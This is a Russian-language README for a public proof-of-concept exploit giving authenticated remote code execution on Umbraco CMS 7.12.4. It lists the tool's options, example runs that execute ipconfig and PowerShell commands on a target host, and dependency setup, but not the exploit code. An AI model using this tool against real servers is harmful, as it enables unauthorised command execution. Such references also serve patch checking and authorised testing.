Эксплойт Umbraco RCE / PoC

Umbraco CMS 7.12.4 — (аутентифицированное) удалённое выполнение кода

[EDB-49488] [PacketStorm] [WLB-2020080012]

Использование

$ python exploit.py -h
usage: exploit.py [-h] -u USER -p PASS -i URL -c CMD [-a ARGS]

Umbraco authenticated RCE

optional arguments:
  -h, --help                 show this help message and exit
  -u USER, --user USER       username / email
  -p PASS, --password PASS   password
  -i URL, --host URL         root URL
  -c CMD, --command CMD      command
  -a ARGS, --arguments ARGS  arguments

Примеры:

$ python exploit.py -u [email protected] -p password123 -i 'http://10.0.0.1' -c ipconfig
$ python exploit.py -u [email protected] -p password123 -i 'http://10.0.0.1' -c powershell.exe -a '-NoProfile -Command ls'

Требования

Пример для ArchLinux:

pacman -S python-beautifulsoup4 python-requests

Пример с использованием pip:

pip3 install -r requirements.txt

Ссылка

Это улучшенная переработка EDB-ID-46153 с использованием аргументов (вместо захардкоженных значений) и выводом в stdout.

Протестировано с python 3.8.

Umbraco-RCE

Популярное